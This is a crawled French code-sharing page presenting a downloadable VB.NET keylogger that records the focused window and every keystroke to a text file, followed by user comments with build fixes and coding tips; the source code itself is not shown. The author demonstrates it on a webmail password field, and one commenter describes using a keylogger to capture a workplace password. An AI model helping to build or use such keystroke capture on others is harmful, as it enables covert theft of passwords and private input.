begin process at 2012 02 13 03:39:39
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

VB.NET

 > WIN & KEYLOGGER .NET

WIN & KEYLOGGER .NET


 Information sur la source

Note :
6,33 / 10 - par 3 personnes
6,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :VB.NET Source .NET ( DotNet ) Classé sous :keylog, net, dot, windows Niveau :Débutant Date de création :11/03/2005 Date de mise à jour :04/01/2008 19:06:40 Vu / téléchargé :14 578 / 3 058

Auteur : soldier8514

Ecrire un message privé
Site perso
Ce membre participe au partage de revenus publicitaires
Commentaire sur cette source (18)
Ajouter un commentaire et/ou une note


 Description

Cliquez pour voir la capture en taille normale
c'est un keylogg ki voit kelle fenêtre a le focus , qui stoque son nom  ' ainsi que toutes les touches frappées dans un string __parallelement un timer decharge le contenu du string dans un fichier txt (et vide le string )___


 Conclusion

suis happy car je crois bien qu'il s'agit du premier keylogger en .net sur VBFrance !

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

04 janvier 2008 19:06:44 :
j'ai pris compte de ta correction simoneo , merci à toi ;)

 Sources du même auteur

Source avec Zip Source avec une capture URL2DOWN ACTIVEX _ COMPOSANT DÉDIÉ AU TELECHARGEMENT HTTP
Source avec Zip Source avec une capture CONVERTIR LES IMAGESDE CD/DVD ALCOHOL 120 (.MDF), BLINDWRIT...
Source avec Zip Source avec une capture 3NITY IMAGE STUDIO ACTIVEX SDK _ COMPOSANT DÉDIÉ À L'IMAGERI...
Source avec Zip GRAVEZ VOS CDS DE TOUTES LES FACONS POSSIBLES!!!
RAJOUTEZ DES RACCOURCIS CLAVIER DANS VOS PROGRAMMES !!!

 Sources de la même categorie

Source .NET (Dotnet) MODIFICATION DATE DE WINDOWS EN VB.NET ET VBA par us_30
Source avec Zip Source avec une capture Source .NET (Dotnet) ENVOI DE MAIL AVEC PIÈCE JOINTE par EhJoe
Source .NET (Dotnet) AMUSONS NOUS AVEC UN LABEL ^^ par Adn56
Source avec Zip Source avec une capture Source .NET (Dotnet) UN NAVIGATEUR INTERNET EN VB.NET par azrti
Source avec Zip Source .NET (Dotnet) CONVERSION DE DEVISE MONAITAIRE VIA UN SERVICE WEB par bigmonkey7

 Sources en rapport avec celle ci

Source .NET (Dotnet) MODIFICATION DATE DE WINDOWS EN VB.NET ET VBA par us_30
Source avec Zip Source avec une capture Source .NET (Dotnet) MODIFICATEUR D'INDICE DE PERFORMANCE WINDOWS 7 par ircland
Source avec Zip FLEXGRID SAISISSABLE par Abdeloua1
Source avec Zip Source avec une capture UTILISER LES COMMANDES WINDOWS EN VB par Sechaud
Source avec Zip Source avec une capture Source .NET (Dotnet) WINDOWS XP EMULATOR V1.0 par zippedfire

Commentaires et avis

Commentaire de devvassili le 11/03/2005 08:52:04

Bonjour, dans ta méthode TesterLeClavier(), tu pourrais faire une méthode :
Private Function DoitEtreMitEnMaj() As Boolean pour eviter à chaque fois des if de folie.

Tu détecte la lettre et après tu vois si tu la mets en MAJ ou si tu la laisses.

good job.

Commentaire de lumesh le 11/03/2005 09:05:37

mon[BACKSPACE]mot .... c'est impossible !

soit tu fait une erreur apres 'mon' et dans ce cas l'erreur doit etre visible (une lettre apres 'mon' et avant [BACKSPACE])soit tu t'es planté dans la définition de tes touches !

[BACKSPACE] ce n'est pas la barre espace ... mais l'effacement arriere (Retour en Arriere) au dessus de la touche [ENTREE]

Commentaire de soldier8514 le 11/03/2005 13:14:58


devvassili << j'ai fais une premiere version comprehensible du premier coup d'oeil , mais oui je vais faire une version plus perfectionnée ;)

lumesh << dans le fichier log de ma capture d'ecran on voit "mon[BACKSPACE]mot" tout simplement parceke g tapé ça dans la zone "mot de passe" de chez caramail _ plus exactement jai tapé "mon mot de passe" mais tu auras remarqué surement que les espaces sont interpretes par un backspace _ ya pas d'erreur _

Commentaire de lumesh le 11/03/2005 13:47:05

c emmerdant que ce soit interprété comme un retour en arriere ...

Ptite idée aussi, rend ton script 'intelligent'.
cad remplace les touches spéciales par les actions qu'elles encourent. Pour la pluspart des logiciels les actions possibles dans les boites de textes restent celle prevues par windows.

Mais c'est un bon debut

Commentaire de soldier8514 le 12/03/2005 11:46:41

lumesh << ok là je craque lumesh _ jte dis ke le Backspace n'est pas interprété comme un retour chariot _  essaies de trouver une seule ligne dans mon code ki te dise le contraire

Par ailleurs la touche entree n'est elle non plus interpretee
comme un retour chariot mais comme [ENTER]

Bon dieu , on n'est pas en classe tourisme _ lis le code avant de dire n'importe quoi

Je trouve par ailleur ta remarque 'Mais c'est un bon debut' completement déplacée pour kelk1 ki visiblement n'a pas lu le source du module de classe keylogger _ d'autant que c'est la nième fois ke je poste un source pour faire des keylogger ( chaque fois avec une nouvelle approche ) _ bon vent

Commentaire de soldier8514 le 12/03/2005 11:49:03

svp ne postez des  critiques que si vous etes là pour faire de la programmation  _ mici

Commentaire de GDLOQ le 18/04/2005 11:18:28

hmmm... Tu l'as fait sous VS 2005 ???
si c'est le cas VS 2003 est pas gentil et veut pas ouvrir la solution :'(

Commentaire de soldier8514 le 18/04/2005 12:30:06


oui c fait sous visual 2005 _ mais vous pouvez le lire aussi avec  sharp develop ;)

Commentaire de titoupit le 23/08/2005 11:29:21

Je n'arrive pas a l'ouvrir avec VS2003, ni avec Sharp Develop ... une asctuce pour l'ouvrir avec ce dernier?

Commentaire de NHenry le 13/07/2006 22:24:06 administrateur CS

ClsKeylogger.vb :

petit détail, évite la ligne : Option Strict Off

Utilise CType, directCast, TryCast ou d'autres méthodes pour transtyper.
c'est plus propre et plus rapide à l'execution.

Commentaire de NHenry le 13/07/2006 22:30:34 administrateur CS

Ajout :
est-ce que ta source permet de bloquer l'interception de touches par l'application active ?

Commentaire de tz_magnum le 29/08/2006 13:52:53

Chez moi ton prog comporte 2 erreurs.

Tien les voilà.

Erreur 2 'CurrentDirectory' n'est pas un membre de 'Project1.My.MyApplication'.
\KeyLoGgDOTNET\ClsKeylogger.vb 925 16 Keylogg


et

Erreur 3 'CurrentDirectory' n'est pas un membre de 'Project1.My.MyApplication'.
\KeyLoGgDOTNET\FrmMain.vb 21 53 Keylogg


Bonne aprèm

Commentaire de yossib le 22/12/2006 10:12:20

Marche pas ton appli :( Meme erreur que TZ_MAGNUM

je me demande comment les autres peuvent ecrire des commentaires sans meme tester l'appli !!
enfin bref

Commentaire de simoneo le 02/08/2007 13:17:29

Salut. j eu le meme problem que TZ_MAGNUM. Je propose une solution qui a marché sur mon pc. Tout simplement en doit changer :

path = My.Application.CurrentDirectory & "\" & "KEYS.txt"

PAR

path = "KEYS.txt"

ET

Espion.CheminCompletDuFichierASauvegarder = My.Application.CurrentDirectory & "\MonFichierKeylogg.txt"

PAR

Espion.CheminCompletDuFichierASauvegarder = "MonFichierKeylogg.txt"

ça le meme sens de repertoire courant.

Bon travail.

Commentaire de Chronolode le 21/09/2007 13:50:43

c'est vraiment coool
pour les problemes c simple vous remplacez My.Application.CurrentDirectory
par : Application.StartupPath
pour celui qu'a vb.net 2003

Commentaire de naimovech le 09/12/2007 15:13:45

cette application ne fonction plus
renisialiser votre projet Mr

Commentaire de soldier8514 le 04/01/2008 19:09:58

j'ai rectifié sous sharpdevelop , merci simoneo

a+

Commentaire de lokovbf le 13/08/2009 14:22:45

bonjour : y a encore des bugs par ci par là:
plein de touches qui sont pas detectées comme il faut: car des GetAsyncKeyState sont fait en trop, ou pas au bon endroit ou pas faits.
ce serait mieux de faire ainsi:
1) tester les touches ctrl, alt etc..
2) faire UNE seule boucle fo i=0 to 2S56 avec des select case (comme ca on ordonne aussi en fonction du type de touche)
plutot que plein de boucles selon le type de touche (num, a-z, pavé numerique, etc...) car ainsi on est presque sur d'oublier qq chose....

resultat: j'ai eu besoin rapidement d'un keylogger (pr le modifier legerement) pr recuperer le passwd d'un ensemble de megas-composants du boulot pr developper avec ca chez moi. qd le technicien est arrivé, j'avais pas encore fini de remettre de l'ordre ds le code.
raté... (ouiiiin: j'aurai economisé 100 ¤)
(NB: c'est mieux de tester completement son code, des fois, avant de le diffuser: suffit de taper ttes les touches et on voit tt de suite que certaines sortent mal)

enfin merci quand meme pr ce code... j'aurait du utiliser mon keylogger hyper-basique

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

.NET ET WINDOWS XP [ par FAB59 ] bonjour,J'envisage de passer de vb6 à .net mais certaines personnes me disent qu'il faut XP Pro pour programmer en .net.La question est donc : peut-on Application Windows en VB.NET [ par houda25 ] Bonjour, j'ai une application windows faite en VB.NET et j'aimerais la convertir en application web, y a-t'il un moyen de le faire sans recoder toute Errata : le runtime .NET est disponible pour Windows 9x [ par Patrice99 ] Contrairement à ce que j'avais indiqué dans mes contributions, c'est le SDK qui n'est disponible que pour Windows NT/XP, le runtime .NET lui est dispo vb .net et repertoire windows [ par Zan ] salut,j'aimerais savoir s'il existe une variable qui permet d'avoir le chemin du repertoire windows.j'ai essayé tout les chemins de System.Environment [VB.NET]Bloquer les 2 touches Windows [ par seemax ] Bonjour,je souhaite empecher l'utilisateur de pouvoir faire autre chose dans Windows que d'utiliser mon application.J'ai donc reussi a cacher la barre [VB.NET]Bloquer les 2 touches Windows [ par seemax ] Bonjour,je souhaite empecher l'utilisateur de pouvoir faire autre chose dans Windows que d'utiliser mon application.J'ai donc reussi a cacher la barre vb.Net windows ==> WEB [ par boucheros ] Je cherche un facon de prendre un interface windows (en vb.net) et de la rendre accecible sur le web...un peux comme "semble" faire le site www. janus dot net, bloqué...? [ par FleX ] salutg un petit problme en ce moment : je developpe un webservice en vb.net et malgrè que mon serveur IIS soirt bien configuré, le webservice ne peut Service windows en vb.net [ par GG_FBS ] Bonjour tous le monde!J'ai fait un service windows qui marche bien. le souci c'est comment peut on faire pour lui envoyer des valeurs et qu'il nous re MDIchild - MDI enfant sous .NET ( dot NET ) [ par dorian53 ] Bonjour, Est-il possible d'enlever les minimizeBox, maximizeBox et le bouton reduction d'une "MDI enfant maximized" ds la MDI mere. MerciDoR][aN


Nos sponsors


Sondage...

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 3,385 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales